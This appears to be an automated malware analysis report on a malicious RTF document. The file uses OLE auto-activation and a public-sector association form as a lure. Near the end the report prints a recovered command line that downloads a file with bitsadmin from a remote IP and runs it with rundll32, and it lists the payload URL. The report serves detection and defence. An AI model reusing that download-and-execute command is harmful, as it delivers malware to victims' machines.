RTF malware analysis — malicious · 202a69dc95f9c075

MALICIOUS

RTF

222.5 KB Created: 2017-03-10 12:30:00 First seen: 2019-09-30

MD5: 17876fb759cbabf1b757b8d4be2eecef SHA-1: 6f1d656c7b4ed40d73f81e10f208fa08c1f62240 SHA-256: 202a69dc95f9c075d8a1fe759d029ac36effa053aa0afb1c8b00e427259de071

182 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution

The RTF file contains OLE object data with URL moniker references, indicating an attempt to exploit OLE activation to download external content. The heuristic 'EXTRACTED_FILE_STATIC_TRIAGE' specifically flags shellcode URL and command strings within an extracted artifact (objdata_00_off000377dd.bin), strongly suggesting the execution of a secondary payload. The presence of suspicious URLs like http://www.atfpm.org.mo and http://150.107.3.227/0_df.log further supports this. The document body appears to be a form for the 'Associação dos Trabalhadores da Função Pública de Macau', likely a lure to disguise the malicious intent.

Heuristics 6

URL Moniker in RTF OLE object high CVE related RTF_URL_MONIKER_RELATED

RTF contains a URL Moniker GUID in OLE object context, but no decoded remote target was confirmed. Treat as related OLE2Link attack-surface evidence rather than proof of CVE-2017-0199 exploitation.
Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
\objupdate forces OLE activation high RTF_OBJUPDATE

RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
OLE object data medium RTF_OBJDATA

RTF contains 1 \objdata section(s) — embedded OLE objects
Embedded OLE object medium RTF_OBJEMB

RTF contains \objemb — embedded OLE object
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://www.atfpm.org.mo In RTF body
- http://www.atfpm.org.mo}{In RTF body
- http://150.107.3.227/0_df.logIn RTF body
- http://schemas.microsoft.com/office/word/2003/wordml}{In RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`objdata_00_off000377dd.bin`	rtf-objdata-decoded	RTF \objdata at offset 0x377DD	223 bytes
SHA-256: `a8efcc58417ccca34ba8c8d407010a86ac0ca79fd837949ed94a7d112e77f0bd`
Detection ClamAV: No threats found Obfuscation or payload: likely Static shellcode analysis recovered URL(s): http://150.107.3.227/0_df.log Static shellcode analysis recovered command string(s): cmd /c bitsadmin /transfer 123 http://150.107.3.227/0_df.log %temp%\0_df.log&&rundll32 %temp%\0_df.log,EditSecurityPlus

Open this report in the interactive analyzer, or submit your own file for analysis.